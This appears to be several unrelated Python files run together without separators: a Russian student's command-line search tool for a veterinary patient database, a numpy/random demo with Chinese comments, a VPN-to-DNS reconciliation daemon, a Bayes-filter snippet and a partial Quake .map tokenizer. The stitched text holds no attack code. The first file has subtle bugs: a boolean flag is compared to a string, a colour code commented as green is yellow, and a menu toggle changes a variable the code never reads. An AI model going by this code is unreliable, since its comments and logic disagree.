Просто гусь
+-------------------------------------------------+
|						░░░░░▄▀▀▀▄░░░░░░░░░		  |
|						▄███▀░◐░░░▌░░░░░░░		  |
|						░░░░▌░░░░░▐░░░░░░░		  |
|						░░░░▐░░░░░▐░░░░░░░		  |
|						░░░░▌░░░░░▐▄▄░░░░░		  |
|						░░░░▌░░░░▄▀▒▒▀▀▀▀▄		  |
|						░░░▐░░░░▐▒▒▒▒▒▒▒▒▀▀▄	  |
|						░░░▐░░░░▐▄▒▒▒▒▒▒▒▒▒▒▀▄	  |
|						░░░░▀▄░░░░▀▄▒▒▒▒▒▒▒▒▒▒▀▄  |
|						░░░░░░▀▄▄▄▄▄█▄▄▄▄▄▄▄▄▄▄▄▀ |
|						░░░░░░░░░░░▌▌░▌▌░░░░░	  |
|						░░░░░░░░░░░▌▌░▌▌░░░░░	  |
|						░░░░░░░░░▄▄▌▌▄▌▌░░░░░	  |
+-------------------------------------------------+

Выполненные бонусы:
—При запуске с аргументом -color заболевшие с прививкой выводятся зелёным цветом, без прививки — красным
—В самом начале программы создаётся новая база данных, с только ДЕЙСТВИТЕЛЬНЫМИ датами. Программа работает с новой базой данных

Добавлено:
—Отключение и включение расцветки в меню
—Поиск больных по двум параметрам(третий метод поиска)

Исправить:
—Коментарии	                                                                   <<<ИСПРАВЛЕНО>>>
—Добавить help. ОБЯЗАТЕЛЬНО!                                                   <<<ИСПРАВЛЕНО>>>
—Исправить olor                                                                <<<ИСПРАВЛЕНО>>>
—Убрать тестовый файл при заливе...
—Переделать под словарь(картинка dictionary_for_animals.png)
—Сделать метод split(";") для строк 80-85
—Исправить действительность дат
—Поменять termcolor на Escape выражение '/033[32mТЕКСТЕКСТЕКСТ[0m' для цвета   <<<ИСПРАВЛЕНО>>>
—

'''
import sys
import argparse

from information.help import get_help
from datetime import datetime
from termcolor import colored

time_now = datetime.now() # записываем, сколько сейчас времени
color    = False
parser   = argparse.ArgumentParser() #создаём образ парсера
parser.add_argument('-c', '--color', action="store_true") # добавляем необязательный аргумент
parser.add_argument('-gh', '--get_help', action="store_true") # добавляем необязательный аргумент
args     = parser.parse_args()

if args.color == "--color": # проверяем аргумент
	color = True
elif args.get_help == True:
	get_help()

print("Идёт сканирование базы данных, это может занять некоторое время")

database = open("database.txt", "r") # здесь мы открываем файл с параметром чтения
array    = [i for i in database.readlines()] # записываю генератор для записи всего из файла базы данных в массив

names        = [] # здесь я создаю массив для имен
types        = [] # здесь я создаю массив для типа
diseases     = [] # здесь я создаю массив для симптома
vaccination  = [] # здесь я создаю массив для вакцинирования
arrival_date = [] # здесь я создаю массив для даты поступления
exceptions   = [] # здесь я создаю массив для исключений. Тут будут находится индексы тех больных, дата которых недействительная

positive_vaccination = ["имеют прививку", "с прививкой", # здесь я создаю массив для слов, вариаций которых может быть множество
						"вакцинированы", "наличие прививки", "прививка"]

negative_vaccination = ["без прививки", "не имеют прививки", # здесь я создаю массив для слов, вариаций которых может быть множество
						"не вакцинированы"]

variations_diseases  = ["симптом", "болезнь", "диагноз"]

def insert():
	for db in range(len(array)): # с помощью цикла, который повториться ровно столько раз, какова длина массива
		find_name         = array[db].find(";") # записываю в переменную индекс того места, до которого нам нужно брать информацию
		find_type         = array[db].find(";", find_name + 1) # записываю в переменную индекс того места, до которого нам нужно брать информацию и прибавляю один для того, что бы не брать точку с запятой
		find_diseases     = array[db].find(";", find_type + 1) # записываю в переменную индекс того места, до которого нам нужно брать информацию и прибавляю один для того, что бы не брать точку с запятой
		find_vaccination  = array[db].find(";", find_diseases + 1)#записываю в переменную индекс того места,до которого нам нужно брать информацию и прибавляю один для того, что бы не брать точку с запятой
		find_day          = array[db].find(".") # записываю в переменную индекс точки, которая разделяет дату поступления на дни, месяца и года. Берём первую точку
		find_month        = array[db].rfind(".") # записываю в переменную индекс точки, которая разделяет дату поступления на дни, месяца и года. Берём вторую точку

		names.append(array[db][:find_name]) # добавляю в массив имен имена
		types.append(array[db][find_name + 1:find_type]) # добляю в массив типа тип
		diseases.append(array[db][find_type + 1:find_diseases]) # добавляю в массив симптома симптом
		vaccination.append(array[db][find_diseases + 1:find_vaccination]) # добавляю в массив вакцинирования вакцинирован ли

		try: # ищем февральские дни
			data = datetime(int(array[db][find_month + 1:-1]), int(array[db][find_day + 1:find_month]), int(array[db][find_vaccination + 1:find_day])) # в переменную дата записываем дату больного
			if data <= time_now: # если дата действительная
				arrival_date.append(array[db][find_vaccination + 1:-1]) # добавляю в массив даты поступления дату поступления
			elif data > time_now: # если дата недействительная
				exceptions.append(db) # добавляем индекс в массив с исключениями
		except ValueError: # Если нашли неверный дни в феврале
			exceptions.append(db) # добавляем индекс в массив с исключениями

def color_set(index): # функция определения цвета
		if args.color == True:
			if vaccination[index].lower() == "да": #  если в массиве в срезе содержится да
				return 33 # то возвращаем зелёный цвет
			else: # если в массиве в срезе содержится нет
				return 31 # то возвращаем красный цвет
		else: # если аргумент -color не указан
			return 0 # то ставим белый цвет

def first(): # первый метод поиска
	def print_value(conclusion, val):
		if conclusion.lower() == "имя":
			print(f"\033[{color_set(val)}m{names[val].capitalize()}\033[0m") # вывожу имена и сортирую их атрибутом end="\t"
		elif conclusion.lower() == "класс":
			print(f"\033[{color_set(val)}m{types[val].capitalize()}\033[0m") # то же самое, что и в прошлый раз
		elif conclusion.lower() in variations_diseases:
			print(f"\033[{color_set(val)}m{diseases[val].capitalize()}\033[0m") # то же самое, что и в прошлый раз
		elif conclusion.lower() in positive_vaccination:
			print(f"\033[{color_set(val)}m{vaccination[val].capitalize()}\033[0m") # то же самое, что и в прошлый раз
		elif conclusion.lower() == "дата":
			print(f"\033[{color_set(val)}m{arrival_date[val].capitalize()}\033[0m") # то же самое, что и в прошлый раз
		elif conclusion.lower() == "другой": # проверка для выбора другого номера
			ask_first() # вызываем функцию
		elif conclusion.lower() == "стоп": # проверяем на остановку
			sys.exit() # заканчиваем исполнение прогрммы
		elif conclusion.lower() == "всё": # проверяем на вывод всех показателей
			print(f"\033[{color_set(val)}m{array[val].replace(';', ', ').capitalize()}\033[0m") # выводим все показатели с заменой точки с зпаятой на запятую
		elif conclusion.lower() == "методы": # вызываем стартовое меню для смены методы поиска
			choice() # вызываем функцию
		else:
			print("Введён неверный параметр!\nПожалуйста введите параметр из существующих.\n'Имя', 'класс', 'симптом', 'наличие прививки', 'дата'\nВв" +
				"едите слово 'стоп', для остановки\nДля смены больного введите 'Другой'\nТак же можете использовать комманду 'всё' для вывода " +
				"всей информации о больном\nКоммманда 'методы' позволит сменить метод поиска больных ") # это сообщение об ошибке

	def ask_first():
		val = input("Введите номер больного: ")
		if val != "":
			if val[0] in "0123456789": #если номер больного это цифра
				try: # начинаем ловить исключения
					val = int(val) # переменной val ставим тип integer
					while True: # бесконечный цикл
						if 0 <= val <= (len(names) - 1): # если номер больного введён правильно
							conclusion = input("Введите параметр: ") # то спрашиваем желаемый параметр у пользователя
							print_value(conclusion, val) # вызываем функцию
						else: # если значение введено неверно
							print("В нашей базе данных нет больного с таким номером!\nВсего заболевших " + str(len(names) - 1)) # выводим максимум больных и сообщение об ошибке
							ask_first() # вызываем функцию заново
				except ValueError: # если поймали исключение о вводе строки
					print("Введён неверный тип данных") # то выводим сообщение об ошибке
					ask_first()	 # и вызываем функцию заново
			elif val == "стоп": # однако если val равен стоп
				sys.exit() # останавливаем программу
			elif val.lower() == "методы":
				choice()
			else:
				print("Вы ввели неверный тип данных, нужно ввести нумерацию больного!\n") # Выдаём сообщение об ошибке
				ask_first() # заново вызываем функцию
		else:
			print("Это поле является обязательным для ввода!")
			ask_first()

	ask_first() # запускаем функцию

def second(): # второй метод поиска
	def find_all_with_parametr(val): # функция вывода всех совпадающих значение
		count = 0 # создаём переменную счёта

		for i in range(len(array)): # циклом пробегаемся по массиву столько раз, какова длина массива
			if val in array[i]: # если введенное значение имеется в строке массива
				print(f"\033[{color_set(i)}m{str(i) + ') ' + array[i].replace(';', ', ').capitalize()}\033[0m") # вывести строку и заменить все точки с запятой на запятый
				count += 1

		print("Всего насчитано " + str(count) + " больных с такими показателями")
		ask_second() # вызываем функцию снова

	def ask_second():
		val = str(input("Введите значение, по которому хотите найти больных: ")) # принимаем значение от пользователя
		if (val in names) or (val in types) or (val in diseases) or (val in vaccination) or (val in arrival_date): # проверка на то, есть ли данное значение в массивах
			if val.lower()[0] in "абвгдеёжзийклмнопрстуфхцчшщъыьэюя1234567890.": # если запрос не содержит лишние символы
				find_all_with_parametr(val) # тогда вызываем функцию
			else:
				print("Введённые вами данные не существуют!\n") # Выдаём сообщение об ошибке
				find_all_with_parametr(val) # заново вызываем функцию
		elif val.lower() in positive_vaccination:
			find_all_with_parametr("Да")
		elif val.lower() in negative_vaccination:
			find_all_with_parametr("Нет")
		elif val.lower() == "стоп":
			sys.exit()
		elif val.lower() == "методы":
			choice()
		else: # если значения в массиве нет
			print("Извините, введённое вами значение не найдено ни в одном списке\nВыберите другое значение") # выдаём сообщение об ошибке
			ask_second() # заново вызываем функцию

	ask_second() # запуск

def third():
	def check_with_two_parametrs(first_arg, second_arg):
		count = 0
		for c in array:
			if first_arg in c and second_arg in c:
				print(f'\033[{color_set(array.index(c))}m{c.replace(";", ", ")}\033[0m')
				count += 1

		print("Всего насчитано " + str(count) + " больных с такими показателями")
		ask_third()

	def ask_third():
		val = str(input("Введите значение, по которому хотите найти больных: ")) # принимаем значение от пользователя
		separator = val.find(",") # задаём переменной разделитель
		space = separator + 1 # задаём переменной значение разделителя плюс один, что бы не брать в учёт запятую

		if val[separator + 1] == " ": # если после запятой стоит пробел
			space = separator + 2 # мы задаём перменной значение разделителя плюс два, что бы не брать запятую с пробелом

		first_arg, second_arg = val[:separator], val[space:] # тут в действие идёт магия питона
		if (first_arg in names) or (first_arg in types) or (first_arg in diseases) or (first_arg in vaccination) or (first_arg in arrival_date): # проверка на то, есть ли первое значение в массивах
			if (second_arg in names) or (second_arg in types) or (second_arg in diseases) or (second_arg in vaccination) or (second_arg in arrival_date): # проверка на то, есть ли первое значение в массивах
				if val.lower()[0] in "абвгдеёжзийклмнопрстуфхцчшщъыьэюя1234567890.": # если запрос не содержит лишние символы
					check_with_two_parametrs(first_arg, second_arg) # тогда вызываем функцию
				elif first_arg == "" or second_arg == "": # если один из один из параметров пойска был пустой
					print("Вы обязательно должны ввести оба значения") # выводим сообщение об ошибке
					ask_third() # заново вызываем функцию вопросы
				else:
					print("Введённые вами данные не существуют!\n") # Выдаём сообщение об ошибке
					ask_third() # заново вызываем функцию

			elif second_arg.lower() in positive_vaccination: # тут мы облегчаем синтаксис
				check_with_two_parametrs(first_arg, "Да") # тут мы облегчаем синтаксис
			elif second_arg.lower() in negative_vaccination:# тут мы облегчаем синтаксис
				check_with_two_parametrs(first_arg, "Нет")# тут мы облегчаем синтаксис
			else:
				print("Второе введённое значение не найдено!\nВыберите другое значение") # выводим сообщение об ошибке
				ask_third() # вызываем функцию выбора снова

		elif first_arg == "" or second_arg == "": # если один из аргументов пустой
			print("Вы обязательно должны ввести оба значения") # выводим сообщение об ошибке
			ask_third() # вызываем функцию выбора снова
		elif first_arg.lower() in positive_vaccination: # тут мы облегчаем синтаксис
			check_with_two_parametrs("Да", second_arg) # тут мы облегчаем синтаксис
		elif first_arg.lower() in negative_vaccination: # тут мы облегчаем синтаксис
			check_with_two_parametrs("Нет", second_arg) # тут мы облегчаем синтаксис
		elif val.lower() == "стоп": # проверяем на остановку программы
			sys.exit() # завершаем программу
		elif val.lower() == "методы": # проверяем на смену метода поиска
			choice() # вызываем функцию поиска
		else: # если значения в массиве нет
			print("Первое введённое значение не найдено\nВыберите другое значение") # выдаём сообщение об ошибке
			ask_third() # заново вызываем функцию

	ask_third()

def choice(): # функция выбора методов поиска
	select = input("Какую функцию поиска запустить(первая, вторая, третья)?\n") # спрашиваем пользователя
	if select.lower() == "первая": # если первый метод, то вызываем функцию первого метода
		first()
	elif select.lower() == "вторая": # то же самое
		second()
	elif select.lower() == "третья":
		print("Введите два значения через запятую")
		third()
	elif select.lower() == "стоп": # то же самое
		sys.exit()
	elif select.lower() == "отключить расцветку":
		global color
		color = False
		print("Расцветка выключена")
		choice()
	elif select.lower() == "включить расцветку":
		color = True
		print("Расцветка включена")
		choice()
	else:
		print("Функции с такиим номером не существует!\nВведите 'первая', 'вторая' или 'стоп'.\nДля отключения расцветки пропишите 'отключить расцветку'\nДля включения подсветки" +
			" пропишите 'включить расцветку'") # выввести сообщение об ошибке
		choice() # заново вызываем функцию

insert()# запуск программы, входная точка

new_database = open("new_database.txt", "w") # открываем открываем файл новой базы данных на ЗАПИСЬ
counter = len(array)
names        = [] # здесь я обнуляю массив для имен, для того, что бы заполнить файл новыми значениями
types        = [] # здесь я обнуляю массив для типа, для того, что бы заполнить файл новыми значениями
diseases     = [] # здесь я обнуляю массив для симптома, для того, что бы заполнить файл новыми значениями
vaccination  = [] # здесь я обнуляю массив для вакцинирования, для того, что бы заполнить файл новыми значениями
arrival_date = [] # здесь я обнуляю массив для даты поступления, для того, что бы заполнить файл новыми значениями

for new in range(counter):
	if new in exceptions: # проверяем нет ли индекса в списке с исключениями
		pass # если есть, то просто игнорируем его
	else: # если его нет в списке с исключениями
		base_data = array[new] # создаём переменную
		new_database.write(base_data) # записываем в файл

new_database.close() # закрываем новую базу данных
new_database = open("new_database.txt", "r") # открываем новую базу данных на ЧТЕНИЕ

array = [n for n in new_database.readlines()] # переназначаем список на новую базу данных
new_database.close() # закрываем новую базу данных
database.close() # закрываем базу данных

insert() # функция заполнения списков
choice() # функция выбора методов поиска


import numpy
import random

# numpy random
array1 = numpy.random.rand(2)
print(array1)  # [0.37120327 0.64113004]
array1 = numpy.random.randint(0, 9, size=5)  # [min, max) -> 0~8
print(array1)
array1 = numpy.random.randint(0, 10, size=(2, 5))
print(array1)
array1 = numpy.random.randint(0, 10, size=(2, 3, 4))  # 多维数组
# print(array1)

# random
array1 = [1, 2, 3, 4, 5]
random.shuffle(array1)  # shuffle 打乱原序列
print(array1)
array1 = [1, 2, 3, 4, 5]
rad = random.choice(array1)
print(rad)
print(random.uniform(1, 3))  # 浮点数

state = random.getstate()
print(random.randint(0, 9))
random.setstate(state)
print(random.randint(0, 9))  # same state -> same result

# distribution 分布
rad = random.normalvariate(0, 1)  # 正态分布
rad = random.lognormvariate(0, 1)  # 对数高斯分布
rad = random.triangular(0, 1, 0.5)  # 对称分布
rad = random.betavariate(1, 2)  # Bata分布
# ...
array1 = numpy.random.standard_normal(size=10)  # 正态分布序列
# ...

# numpy 是一个运行速度很快的数学库
# numpy 还有很多矩阵运算的方法
# 菜鸟教程 ： https://www.runoob.com/numpy/numpy-tutorial.html


#!/usr/bin/env python3

import logging
from time import sleep
from collections import namedtuple

from dns.resolver import query
import dns
import configargparse

Status = namedtuple("Status", ["name", "ip"])

def set_up_log(filename="/var/log/watch_vpn_dns.log", level="WARN"):
    """
    Accept optional filename, level.
    Create a logger.
    """
    numeric_level = getattr(logging, level.upper(), None)
    if not isinstance(numeric_level, int):
        raise ValueError("Invalid log level: %s" % level)

    logging.basicConfig(
        filename=filename,
        format="%(asctime)s %(levelname)-8s %(message)s",
        level=numeric_level,
        datefmt="%Y%m%dT%H:%M:%S",
    )

def _get_status_lines(status_files):
    """
    Accept status files (list of file-like objects),
    Return generator of lines starting with "CLIENT_LIST,"
    """
    for status_file in status_files:
        with open(status_file) as fileh:
            for line in fileh:
                if line.startswith("CLIENT_LIST,"):
                    yield line.strip()

def _parse_status(status_line):
    """
    Accept status line (str).
    Return namedtuple Status of name and ip.
    """
    name_field = 1
    ip_field = 3
    fields = status_line.split(",")
    return Status(name=fields[name_field], ip=fields[ip_field])

def ips_from_vpn(status_files):
    """
    Accept status_files (list of file-like objects).
    Return dict of name: ip
    """
    status_lines = _get_status_lines(status_files)
    statuses = [_parse_status(line) for line in status_lines]
    return {
        status.name: status.ip
        for status in statuses
        if status.name != "UNDEF" and status.ip != ""
    }

def dig_record(name, domain):
    """
    Accept name (str),
    domain (str).
    Return ip of name's A record in domain,
    or None if there is none.
    """
    record = name + domain
    try:
        answer = query(record, "A")[0].to_text()
    except dns.resolver.NXDOMAIN:
        answer = None
    logging.debug(f"{name}{domain} returned {answer}")
    return answer

def ips_from_dns(names, domain):
    """
    Accept names (list of common_names),
    domain (str).
    Return dict of common_name: ip.
    """
    return {name: dig_record(name, domain) for name in names}

def diff(what_should_be, what_is):
    """
    Accept what_should_be (dict of name: ip)
    and what_is (dict of name: ip)
    Return dict of name: ip with ip from 'what_should_be' where 'what_is' does
    not match 'what_should_be'.
    """
    return {
        name: ip
        for name, ip in what_should_be.items()
        if what_should_be[name] != what_is.get(name, None)
    }

def send_to_pipe(fifo, to_update):
    """
    Accept fifo (file-like object) and to_update (dict of common_name, ip).
    Send to_update as key:value pair to fifo.
    Return True on success,
    otherwise raise Exception.
    """
    logging.info("Updating: " + str(to_update))
    with open(fifo, "w") as pipe:
        for name, ip in to_update.items():
            pipe.write(name + "," + ip + "\n")

def reconcile_dns(status_files, fifo, domain):
    """
    Accept status files (list of file-like objects),
    fifo (a file, presumable a pipe, to write to),
    domain (str).
    Send DNS records for update to pipe based  n VPN status.
    """
    from_vpn = ips_from_vpn(status_files)
    logging.debug(f"IPs should be: {from_vpn}")
    from_dns = ips_from_dns(from_vpn.keys(), domain)
    logging.debug(f"IPs from dns: {from_dns}")
    to_update = diff(from_vpn, from_dns)
    logging.debug(f"To update: {to_update}")
    if to_update:
        send_to_pipe(fifo, to_update)

def main():
    """
    Parse arguments, initialize logging, and enter main loop.
    """
    parser = configargparse.ArgumentParser(
        default_config_files=["/etc/watch-vpn-dns.conf"]
    )
    parser.add_argument(
        "-c",
        "--config",
        help="Use config file CONFIG",
        is_config_file=True,
        default="/etc/watch-vpn-dns.conf",
        action="store",
        dest="config",
    )
    parser.add_argument(
        "-L",
        "--log-file",
        help="Use log-file LOG_FILE",
        default="/var/log/watch_vpn_dns.log",
        action="store",
        dest="log_file",
    )
    parser.add_argument(
        "-l",
        "--log-level",
        help="Log at level LOG_LEVEL, one of NOTSET, DEBUG, INFO, WARNING, ERROR, CRITICAL",
        default="INFO",
        action="store",
        dest="log_level",
    )
    parser.add_argument(
        "-f",
        "--file",
        help="write to FILE (most likely a fifo)",
        default="/var/run/vpn-dydns.fifo",
        action="store",
        dest="fifo",
    )
    parser.add_argument(
        "-s",
        "--status_file",
        help="read from status file(s) STATUS",
        action="append",
        dest="status",
    )
    parser.add_argument(
        "-d",
        "--domain",
        help="append domain DOMAIN to incoming hostnames, eg: example.com",
        default="",
        action="store",
        dest="domain",
    )
    parser.add_argument(
        "-w",
        "--wait-time",
        help="wait TIME seconds between posting records to route53",
        type=int,
        default=60,
        action="store",
        dest="wait_time",
    )

    args = parser.parse_args()
    set_up_log(filename=args.log_file, level=args.log_level)

    logging.info(args)
    while True:
        reconcile_dns(args.status, args.fifo, args.domain)
        sleep(args.wait_time)

if __name__ == "__main__":
    main()


import matplotlib.pyplot as plt

# p=[0.2, 0.2, 0.2, 0.2, 0.2]
world=['green', 'red', 'red', 'green', 'green']
pHit = 0.6
pMiss = 0.2

def sense(p, Z):
    q=[]
    for i in range(len(p)):
        hit = (Z == world[i])
        q.append(p[i] * (hit * pHit + (1-hit) * pMiss))
    s = sum(q)
    for i in range(len(q)):
        q[i] = q[i] / s
    return q

# def draw(p):
#     x = ['1','2','3','4','5']
#     y = p
#     plt.bar(x, y)
#     plt.xlabel('x values')
#     plt.ylabel('y values')
#     plt.ylim(0.00,1)
#     plt.title('probability distribution')
#     # plt.xticks(rotation=70)
#     plt.show()

# draw(p)


import sys
from enum import Enum

class TokenType(Enum):
    COMMENT = 0
    ENTITY = 1
    VERTEX = 2
    NUMBER = 3
    STRING = 4
    BRUSH = 5
    NONE = 6

class Token:
    def __init__(self, tokenType: TokenType=TokenType.NONE):
        self.type = tokenType
        self.string = None
        self.number = None
        self.brush = None
        self.vertex = None

def match(expected, got):
    return expected == got

def getNextToken(line: str):
    if line.startswith("//"):
        return Token(TokenType.COMMENT)
    if line.startswith("{"):
        return Token(TokenType.ENTITY)
    if line.startswith("\""):
        return Token(TokenType.STRING)
    if line.startswith("("):
        return Token(TokenType.VERTEX)

    return Token(TokenType.NONE)

def getVertex(line):
    v = []
    start = line.find("(")
    end = line.find(")")
    line = line[start+1:end].strip().split(" ")
    for num in line:
        v.append(float(num))

    return v, end+1

if len(sys.argv) < 2:
    print("Missing command line param:\n    Usage: polysoup <map-name.map>")
    exit()

mapfile = open(sys.argv[1], "r")
mapfileLines = mapfile.readlines()
g_Callstack = []
g_TokenList = []

# for line in mapfileLines:
#     l = line.rstrip()
#     if getNextToken(l) == TokenType.COMMENT:
#         print(l)

def start(startLineno):
    lineno = startLineno
    currentLine = mapfileLines[lineno]

    token = getNextToken(currentLine.strip())
    while token.type != TokenType.NONE:
        g_TokenList.append(Token(token))
        lineno += 1
        if lineno < len(mapfileLines):
            currentLine = mapfileLines[lineno]
            token = getNextToken(currentLine)
            if token.type == TokenType.VERTEX:
                v0, cursorPos = getVertex(currentLine.strip())
                v1, cursorPos = getVertex(currentLine.strip()[cursorPos:])
                v2, cursorPos = getVertex(currentLine.strip()[cursorPos:])
                print(v0, v1, v2)

        else:
            token = Token(TokenType.NONE)

start(0)
# print(g_TokenList)